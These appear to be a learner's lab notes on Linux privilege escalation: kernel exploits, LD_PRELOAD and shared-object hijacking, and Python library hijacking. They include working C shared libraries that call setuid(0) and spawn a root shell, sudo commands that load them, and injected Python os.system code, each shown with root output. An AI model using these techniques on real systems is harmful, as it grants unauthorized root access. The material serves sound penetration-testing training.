10. Linux Internals-based privesc (Kernel,Sharedlibs,Sharedobjs,Python)

Kernel exploits

Kernel level explotis exist for a variety of linux kernel versions. Very well known example is Dirty COW

https://github.com/dirtycow/dirtycow.github.io (CVE-2016-5195)

Leverage vulns in kernel to execute code with root privs. It's common to find system that are vulnerable to kernel exploits. It can be hard to keep track of legacy systems and they may be excluded from patching due to compatibility issues Privesc using kernel exploits can be as simple as downloading/compiling/executing it. Some of these work out of the box, some require modification. Quick identification: uname -a and cat /etc/lsb-release , google kernel version.

Kernel exploits cause system instability, use caution when running against a prod system


Shared libraries hijacking

Common for linux progs to use dynamically linked shared object libraries. Libraries contain compiled code or other data that devs use to avoid having to rewrite the same pieces of code across multiple progs. Two types in Linux:

On compilation, static libraries become part of the program + cannot be altered. Dynamic libraries can be modified to control execution of program that calls them.

Multiple methods for specifying location of dynamic libraries, so system will know where to look for them on program execution. -rpath or -rpath-link flags when compiling a program, using the envvars LD_RUN_PATH or LD_LIBRARY_PATH , placing libraries in the /lib or /usr/lib default directories or specifying another directory containing the libraries within the /etc/ld.so.conf file.

LD_PRELOAD can load a library before executing a binary. FXNs from this lib given preference over default ones.

Example of LD_PRELOAD privesc https://blog.fpmurphy.com/2012/09/all-about-ld_preload.html Need user with sudo privileges on some binary. Example uses rights to restart the apache service as root. This is not a GTFObin

Thus - under normal circumstances - this could not lead to privilege escalation. However we can exploit LD_PRELOAD to run a custom shared library file.

Compile the following library:

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>

void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}
gcc -fPIC -shared -o root.so root.c -nostartfiles
sudo LD_PRELOAD=/tmp/root.so /usr/sbin/apache2 restart

![](/img/Pasted image 20250127225327.png)


Shared object hijacking

Programs/bins under dev usually have custom libraries associated with them. Consider the folowing SUID binary:

htb-student@NIX02:~$ ls -la payroll

-rwsr-xr-x 1 root root 16728 Sep  1 22:05 payroll

We can use ldd to print shared object required by a binary or shared object. ldd displays location of object and hexadecimal address of where it is loaded into memory for each of a program's dependencies.

htb-student@NIX02:~$ ldd payroll

linux-vdso.so.1 =>  (0x00007ffcb3133000)
libshared.so => /development/libshared.so (0x00007f0c13112000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f7f62876000)
/lib64/ld-linux-x86-64.so.2 (0x00007f7f62c40000)

Note: non-standard library named libshared.so as a dependency for the binary. Similar to above we can load shaerd libs from custom locations. One such setting is RUNPATH config.

This can be inspected using the readelf utility https://man7.org/linux/man-pages/man1/readelf.1.html

readelf -d payroll | grep PATH

 0x000000000000001d (RUNPATH)            Library runpath: [/development]

Config allows loading of libs from the /development folder - writeable by all users. This misconfiguration can be exploited by placing a malicious library in /development - which will take precedence over other folders because entries in this file are checked first.

see above ldd output. find the function name called by the binary

cp /lib/x86_64-linux-gnu/libc.so.6 /development/libshared.so
htb-student@NIX02:~$ ./payroll 

./payroll: symbol lookup error: ./payroll: undefined symbol: dbquery

Seen above- copying an existing library to the development folder. Running ldd against the binary lists the library's path as /development/libshared.so - means it is vulnerable. Executing the binary throws an error stating that it failed to find the function named dbquery - we can compile a shared object which includes this function.

#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>

void dbquery() {
    printf("Malicious library loaded\n");
    setuid(0);
    system("/bin/sh -p");
} 

dbquery sets our userid to 0 (root) and executes /bin/sh when called. compile using GCC

gcc src.c -fPIC -shared -o /development/libshared.so

Executing the binary again should display banner and pop a root shell. ![](/img/Pasted image 20250128095442.png)

Python library hijacking

Many libs in python used in many fields. Example: NumPy

Another example: Pandas

Python has Python Standard Library with many modules on board from standard installation of Python.

You know how to import modules:

#!/usr/bin/env python3

# Method 1
import pandas

# Method 2
from pandas import *

# Method 3
from pandas import Series

Many ways we can hijack a python lib - much depends on the script and its' contents itself. three basic vulnerabilities where hijacking can occur:


Python hijacking - Directly modifying modules

Imagine we land on a dev host on company intranet and that developer is working with python. Three components involved:

One or another python module may have write permissions set for all users by mistake. This allows python module to be edited and manipulated so we can insert commands/functions that produce the results we want. If suid/sgid permissions have been assigned to python script that imports this module, our code will be automatically included

Example mem_status py script has SUID bit set:

htb-student@lpenix:~$ ls -l mem_status.py

-rwsrwxr-x 1 root mrb3n 188 Dec 13 20:13 mem_status.py

We can execute this script with privs of another user - in our case, root. We have permissions to view the script and read its contents:

#!/usr/bin/env python3
import psutil

available_memory = psutil.virtual_memory().available * 100 / psutil.virtual_memory().total

print(f"Available memory: {round(available_memory, 2)}%")

Quite simple: Shows virtual memory in percentages. Second line imports psutil and calls virtual_memory() Look for function in folder of psutil and check if this module has write permissions we can leverage.

htb-student@lpenix:~$ grep -r "def virtual_memory" /usr/local/lib/python3.8/dist-packages/psutil/*

/usr/local/lib/python3.8/dist-packages/psutil/__init__.py:def virtual_memory():
/usr/local/lib/python3.8/dist-packages/psutil/_psaix.py:def virtual_memory():
/usr/local/lib/python3.8/dist-packages/psutil/_psbsd.py:def virtual_memory():
/usr/local/lib/python3.8/dist-packages/psutil/_pslinux.py:def virtual_memory():
/usr/local/lib/python3.8/dist-packages/psutil/_psosx.py:def virtual_memory():
/usr/local/lib/python3.8/dist-packages/psutil/_pssunos.py:def virtual_memory():
/usr/local/lib/python3.8/dist-packages/psutil/_pswindows.py:def virtual_memory():


htb-student@lpenix:~$ ls -l /usr/local/lib/python3.8/dist-packages/psutil/__init__.py

-rw-r--rw- 1 root staff 87339 Dec 13 20:07 /usr/local/lib/python3.8/dist-packages/psutil/__init__.py

Such permissions are common in dev environments where many devs work on different scripts + may require higher privs.

...SNIP...

def virtual_memory():

	...SNIP...
	
    global _TOTAL_PHYMEM
    ret = _psplatform.virtual_memory()
    # cached for later use in Process.memory_percent()
    _TOTAL_PHYMEM = ret.total
    return ret

...SNIP...

Above is the portion of the library where we can inject malicious code. Important to put it at the beginning of the function Insert everything we consider correct and effective. Import module os for testing purposes, allowing us to execute system commands. With os we can execute id and check during execution of script if inserted code is executed.

def virtual_memory():

...SNIP...

	#### Hijacking
	import os
	os.system('id')
	

    global _TOTAL_PHYMEM
    ret = _psplatform.virtual_memory()
    # cached for later use in Process.memory_percent()
    _TOTAL_PHYMEM = ret.total
    return ret

...SNIP...

Execute script with sudo:

htb-student@lpenix:~$ sudo /usr/bin/python3 ./mem_status.py

uid=0(root) gid=0(root) groups=0(root)
uid=0(root) gid=0(root) groups=0(root)
Available memory: 79.22%

Python hijacking - Modifying library path

In python each version has a specified order in which libraries (modules) are searched+imported from. Order in which python imports modules from are based on a priority based system - HIGHER paths on the list take priority over paths LOWER on the list.

Listing PYTHONPATH

python3 -c 'import sys; print("\n".join(sys.path))'

/usr/lib/python38.zip
/usr/lib/python3.8
/usr/lib/python3.8/lib-dynload
/usr/local/lib/python3.8/dist-packages
/usr/lib/python3/dist-packages

TWO PREREQUISITES necessary to leverage this

If imported module is lower on list, and a higher prio path is editable by our user, we can create a module ourselves with the same name and include our own desired functions.

Finding default installation location:

pip3 show psutil

...SNIP...
Location: /usr/local/lib/python3.8/dist-packages

...SNIP...

Reference PYTHONPATH above. We would be targeting /usr/lib/python38.zip /usr/lib/python3.8 /usr/lib/python3.8/lib-dynload

as directories where we can modify and create a library

ls -la /usr/lib/python3.8

total 4916
drwxr-xrwx 30 root root  20480 Dec 14 16:26 .
...SNIP...

Above output shows /usr/lib/python3.8 is modifiable - misconfigured to allow any user to write.

File name psutil.py placed in above location:

#!/usr/bin/env python3

import os

def virtual_memory():
    os.system('id')

Very important the module we create has same name as the import as well as have the same function with correct number of arguments passed to it as the function we are intending to hijack.

sudo /usr/bin/python3 mem_status.py

uid=0(root) gid=0(root) groups=0(root)
Traceback (most recent call last):
  File "mem_status.py", line 4, in <module>
    available_memory = psutil.virtual_memory().available * 100 / psutil.virtual_memory().total
AttributeError: 'NoneType' object has no attribute 'available' 

Python hijacking - PYTHONPATH environment variable

Env-var that indicates what directory, or directories, python searches for modules to import. Important because if a user is allowed to manipulate or set this variable while running the python binary they can effectively redirect python's search functionality to a user-defined location when it comes time to import modules.

We can see if we have the permissions to set environment variables for the python binary with sudo -l

 sudo -l 

Matching Defaults entries for htb-student on ACADEMY-LPENIX:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User htb-student may run the following commands on ACADEMY-LPENIX:
    (ALL : ALL) SETENV: NOPASSWD: /usr/bin/python3

Due to trusted nature of sudo - any envvars defined prior to calling the binary are not subject to any restrictions regarding being able to set envvars on the system. This means using /usr/bin/python3 binary - we can effectively set any envvar under context of our running program.

sudo PYTHONPATH=/tmp/ /usr/bin/python3 ./mem_status.py

uid=0(root) gid=0(root) groups=0(root)
...SNIP...

Using same File name psutil.py placed in above location: .py file above